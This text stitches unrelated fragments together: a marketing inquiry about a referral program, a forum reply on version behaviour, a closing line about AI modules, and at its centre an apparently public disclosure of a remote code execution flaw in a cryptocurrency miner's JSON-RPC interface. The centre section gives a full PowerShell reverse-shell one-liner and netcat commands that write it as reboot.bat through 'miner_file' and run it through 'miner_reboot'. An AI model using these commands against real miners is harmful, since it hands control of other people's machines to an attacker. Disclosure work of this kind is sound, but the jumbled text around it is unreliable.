Hello! My name is Olga, I represent company W12.io.
We plan to launch a referral program, according to which people can earn real money. I saw that you were doing a referral program for the Blockaudit project. Tell me, what is included in this program and how do you promote it? We are interested in cooperation. Thank you !

More precisely, it works until v8.1, in v8.1 "-mport" is working in read-only mode by default, check "History.txt" file for details. Another thing required for this "exploit" is direct access to internet for the system, it will not work via NAT or firewall without your permission.
Later versions had another issue that was fixed too, see my message:
https://bitcointalk.org/index.php?topic=1433925.msg28540417#msg28540417

Suppose the miner is running on localhost on port 3333. First of all you need to convert a .bat string into hexadecimal format, for example, this one uses powershell to spawn a reverse shell on localhost listening on port 1234:
 
powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
 
Convert it into hexadecimal and paste it on the second parameter inside this string:
 
echo '{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","HEX_STRING"]}' | nc 127.0.0.1 3333 -v
 
Then, to trigger the vulnerability just send {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
string to the miner.
 
echo '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' | nc 127.0.0.1 3333 -v
 
You got the shell!
 
This exploit works also on Linux, just substitute reboot.bat with reboot.bash or reboot.sh.

Before continuing to read I want to clarify that I already emailed nanopool without receiving any kind or response, so I’m publicly disclosure this vulnerability waiting for a CVE assignment.

Hello!
We use our own developed AI modules.